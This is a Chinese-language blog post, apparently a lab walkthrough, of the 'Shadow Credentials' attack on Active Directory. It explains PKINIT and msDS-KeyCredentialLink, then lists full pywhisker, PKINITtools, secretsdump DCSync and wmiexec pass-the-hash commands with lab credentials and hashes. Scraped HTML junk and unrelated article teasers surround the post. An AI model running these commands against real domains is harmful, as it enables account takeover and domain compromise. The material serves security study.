<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    影子憑證 濫用密鑰信任帳戶映射進行帳戶接管

    VSole2023-01-13 10:53:45

    什么是 PKINIT?

    在 Kerberos 身份驗證中,客戶端必須在 KDC為其提供票證授予票證 (TGT) 之前執行“預驗證”,該票證隨后可用于獲取服務票證。預認證的原因是,沒有它,任何人都可以獲得一個使用從客戶端密碼派生的密鑰加密的user,并嘗試離線破解它

    客戶端通過使用其憑據加密時間戳來執行預身份驗證,以向 KDC 證明他們擁有該帳戶的憑據。使用時間戳而不是靜態值有助于防止重放攻擊。

    對稱密鑰(密鑰)方法是使用最廣泛和已知的一種方法,它使用從客戶端密碼(AKA 密鑰)派生的對稱密鑰。如果使用 RC4 加密,此密鑰將是客戶端密碼的 NT 哈希。KDC 擁有客戶端密鑰的副本,并且可以解密預認證數據以對客戶端進行認證。KDC 使用相同的密鑰來加密與 TGT 一起發送給客戶端的會話密鑰

    PKINIT 是不太常見的非對稱密鑰(公鑰)方法。客戶端有一個公私鑰對,并用他們的私鑰對預認證數據進行加密,KDC 用客戶端的公鑰對其進行解密。

    PKI允許KDC和客戶端使用由雙方先前已于證書頒發機構CA建立信任的數字證書交換公鑰 這是證書信任模型

    PKINIT 不可能在每個 Active Directory 環境中直接拿來使用 KDC 和客戶端都需要一個公鑰-私鑰對。但是,如果環境有 AD CS 和 CA 可用,域控制器將默認自動獲取證書。

    如果沒有PKI?

    微軟引入了密鑰信任的概念以在不支持證書信任的環境中支持無密碼身份驗證,在 Key Trust 模型下,PKINIT 身份驗證是基于原始密鑰數據而不是證書建立的。

    客戶端的公鑰存儲在名為 msDS-KeyCredentialLink 的多值屬性中,該屬性在 Windows Server 2016 中引入。該屬性的值是 Key Credentials

    這種信任模型消除了使用無密碼身份驗證為每個人頒發客戶端證書的需要。但是,域控制器仍需要用于會話密鑰交換的證書

    這意味著如果你寫入用戶的 msDS-KeyCredentialLink 屬性,您可以獲得該用戶的 TGT。

    在AD中修改此屬性的權限的組成員賬戶:

    1.企業管理員

    2.企業密鑰管理員

    Windows Hello 企業版預配和身份驗證

    Windows Hello 企業版 支持多無密碼身份驗證(需要下載win10企業版)

    當用戶注冊時 TPM 會為用戶的帳戶生成一個公鑰-私鑰對 如果在組織中實施了證書信任模型,則客戶端發出證書請求,以從環境的證書頒發機構為 TPM 生成的密鑰對獲取受信任的證書 但是,如果實施 Key Trust 模型,則公鑰將存儲在帳戶的 msDS-KeyCredentialLink 屬性中的新 Key Credential 對象中。私鑰受 PIN 碼保護

    當客戶端登錄時,Windows 會嘗試使用其私鑰執行 PKINIT 身份驗證。在密鑰信任模型下,域控制器可以使用存儲在客戶端 msDS-KeyCredentialLink 屬性中的相應 NGC 對象中的原始公鑰解密其預認證數據。在證書信任模型下,域控制器將驗證客戶端證書的信任鏈,然后使用其中的公鑰。一旦預認證成功,域控制器可以通過 Diffie-Hellman 密鑰交付或公鑰加密密鑰交付交換會話密鑰。

    如果使用NTLM身份驗證會怎么樣?

    PKINIT 允許 WHfB 用戶或更傳統的智能卡用戶執行 Kerberos 身份驗證并獲得 TGT。但是,如果他們需要訪問需要 NTLM 身份驗證的資源怎么辦?為了解決這個問題,客戶端可以在加密的 NTLMSUPPLEMENTALCREDENTIAL 實體的特權屬性證書 (PAC) 中獲取包含其 NTLM 哈希的特殊服務票證

    PAC 存儲在票證的加密部分中,票證使用為其頒發的服務的密鑰進行加密。在 TGT 的情況下,票證使用 KRBTGT 帳戶的密鑰加密,用戶不應該能夠解密該密鑰。要獲得用戶可以解密的票證,用戶必須對自己執行 Kerberos 用戶到用戶 (U2U) 身份驗證。當我第一次讀到這個機制的 RFC 標題時,我想,“這是否意味著我們可以濫用這個機制來 Kerberoast 任何用戶帳戶?那一定好得令人難以置信”。確實是——考慮到了 Kerberoasting 的風險,U2U 服務票證是使用目標用戶的會話密鑰而不是他們的密鑰加密的

    這對 U2U 設計提出了另一個挑戰——每次客戶端驗證并獲得 TGT 時,都會生成一個新的會話密鑰。此外,KDC 不維護活動會話密鑰的存儲庫——它從客戶端的票證中提取會話密鑰。那么,KDC 在響應 U2U TGS-REQ 時應該使用什么會話密鑰?解決方案是發送一個包含目標用戶的 TGT 作為“附加票證”的 TGS-REQ。KDC 將從 TGT 的加密部分中提取會話密鑰(因此不是真正完美的前向保密)并生成新的服務票證

    因此,如果用戶向自己請求 U2U 服務票證,他們將能夠對其進行解密并訪問 PAC 和 NTLM 哈希。

    這意味著如果您可以寫入用戶的 msDS-KeyCredentialLink 屬性,則可以檢索該用戶的 NT 哈希


    環境要求:

    Windows Server 2016 域控制器

    Windows Server 2016 域控制器上安裝ADCS證書服務

    具有寫入目標對象的msDS-KeyCredentialLink屬性的賬戶


    測試環境:

    win2016(DC) 10.10.10.153 (并且安裝了ADCS證書服務)

    域:read.local

    攻擊機: 10.10.10.178

    win10企業版: 10.10.10.150

    具有寫入msDS-KeyCredentialLink屬性的賬戶: 賬號 qiyeban 密碼 Admin123..

    我這里直接添加的企業管理員

    工具下載地址:

    https://github.com/ShutdownRepo/pywhisker

    https://github.com/dirkjanm/PKINITtools

    https://github.com/eladshamir/Whisker

    我們來到win10企業版

    生成證書和非對稱密鑰 并將此信息存儲在msDS-KeyCredentialLink屬性中 

    Whisker.exe add /target:w2016$ 

    生成之后我們可以來到dc這里查看 可以看到這里已經設置成功了

    python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "list"

    查詢目標主機的msDS-KeyCredentialLink屬性中的密鑰對 我這里因為測試設置的比較多

    python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "info" --device-id 98a2e88c-cbbf-44aa-a081-fd09fc84643e

    接下來進行攻擊 生成的證書以pfx格式保存在本地 可以為機器賬戶授予票證

    python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "add" --filename w2016

    這里的password是證書的密碼 yANuz27WZliF4xRTmSTV

    通過密鑰分發中心 (KDC) 進行身份驗證 申請TGT

    python3 gettgtpkinit.py -cert-pfx w2016.pfx -pfx-pass yANuz27WZliF4xRTmSTV read.local/w2016$ w2016.ccache

    使用 AS-REP 加密密鑰,從 PAC 中檢索機器帳戶的 NTLM 哈希

    export KRB5CCNAME=w2016.ccache python3 getnthash.py -key 2af61f88b01e94fc861280840396865fb170f1e061b07bc2b6d78ae995375bb4 read.local/w2016$

    hash已經檢索出來了 現在可以dcsync了

    python3 secretsdump.py -hashes :56e3c3d1e4e952dbddcd149c692c2641 'read/w2016$@10.10.10.153' -just-dc-user krbtgt

    通過檢索的NTLMhash 然后可以使用wmiexec進行hash傳遞了

    python3 secretsdump.py -hashes :56e3c3d1e4e952dbddcd149c692c2641 'read/w2016$@10.10.10.153' -just-dc-user Administrator

    python3 wmiexec.py -hashes :42e2656ec24331269f82160ff5962387 Administrator@10.10.10.153

    密鑰管理對稱密鑰
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在數據通信中,加密技術是防止數據被未授權的人訪問的關鍵措施之一。而對稱加密和非對稱加密是兩種最常見的加密技術,它們被廣泛應用于數據安全領域,并且可以組合起來以達到更好的加密效果。本文將探討這兩種技術的區別,以及它們在現代通信和安全中的應用。一、非對稱加密與對稱加密是什么對稱加密和非對稱加密是兩種不同的加密技術。對稱加密使用同一密鑰進行加密和解密,而非對稱加密則使用一對密鑰,即公鑰和私鑰。 
    車聯網是汽車、電子、信息通信、道路交通運輸等行業深度融合的新型產業形態,車聯網的功能、網絡、隱私和數據安全是構成車聯網應用的關鍵。聚焦車路協同場景下的身份認證和車輛和一切萬物(Vehicle to Everything,V2X) 的通信,通過建立跨信任域身份認證機制和 V2X 通信的密鑰管理機制,在車路協同場景下為跨信任域車輛與多類路側設備提供了安全通信保障。
    數字經濟時代,信息網絡的抗爭和沖突將更加激烈,圍繞“信息控制權”的斗爭將成為國家生存與發展中能否取得主動的關鍵。密碼作為網絡信息安全的關鍵技術,在保護網絡信息安全中起著不可替代的作用。
    VPN:IKE密鑰交換原理
    2021-10-02 12:50:17
    在采用IKE動態協商方式建立IPSec隧道時,SA有兩種:一種IKE SA,另一種是IPSec SA。建立IKE SA目的是為了協商用于保護IPSec隧道的一組安全參數,建立IPSec SA的目的是為了協商用于保護用戶數據的安全參數,但在IKE動態協商方式中,IKE SA是IPSec SA的基礎,因為IPSec SA的建立需要用到IKE SA建立后的一系列密鑰。本文介紹在IKE動態協商方式建立IP
    量子通信是以量子態為信息載體,通過量子態的傳送實現量子信息或經典信息傳送的技術。量子通信包括多種協議和應用,如量子密鑰分發(Quantum Key Distribution,QKD)、量子隱形傳態、量子安全直接通信、量子秘密共享、量子數字簽名等。
    當前,信息化管理廣泛應用到生活中的各個場景,線上投保已成為保險行業的一大主流趨勢。由于線上投保系統常常涉及用戶的賬戶信息、交易信息等敏感數據,因此在系統設計階段就應考慮如何保障用戶信息安全,而密碼技術正是保護系統信息安全的重要手段。針對保險投保系統的密碼應用方案進行研究,結合投保系統的特點,從投保系統的密碼應用需求出發,分析現行系統的密碼應用現狀,并根據相關法規和標準對信息系統的密碼應用技術要求提
    在安全性要求較高的特種領域,需要采取認證加密手段處理感知層的用戶終端采集和傳輸的信息,確保應用信息的安全。業界也對SM9 用戶私鑰在線分發技術進行了相關研究 ,提出了一些相關用戶密鑰在線分發方案,但存在用戶身份被假冒以及數據傳輸保護不完善等問題。此外,該種用戶私鑰分發方式不利于用戶密鑰后續的更換工作。而信息在交互過程中,面臨著身份假冒、信息被竊聽、信息被篡改和重放等安全威脅。
    盡管“密碼機制”長期以來始終是一個頗具技術性的話語表達,但如果從政策決策的角度觀察,符合特定管理目標及價值訴求的“密碼機制”仍然構成了整個密碼規范體系的基石,其決定了密碼體制的分層結構(例如我國的分類分級管理)、目的、對象和方法。“密碼機制”的基本思想是對機密信息進行“偽裝”,阻卻未經授權的訪問、篡改和披露。
    沒有云加密,就沒有云計算,因為數據丟失的風險太高—磁盤錯位、低強度密碼、網絡窺探或盜竊都會導致數據丟失。
    現在,俄羅斯的密碼學研究已經被公認具有一流水平。· 安全性較高,抗各種攻擊手段,包括差分攻擊、線性攻擊等。在俄羅斯國內,VKO 算法已被廣泛應用于國家機密信息的保護和加密處理中。該算法是俄羅斯國家信息安全標準,用于保護政府、軍隊、金融等機構的機密信息。MAG 算法已經成為俄羅斯國家信息安全標準,有望在該國范圍內得到廣泛的應用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类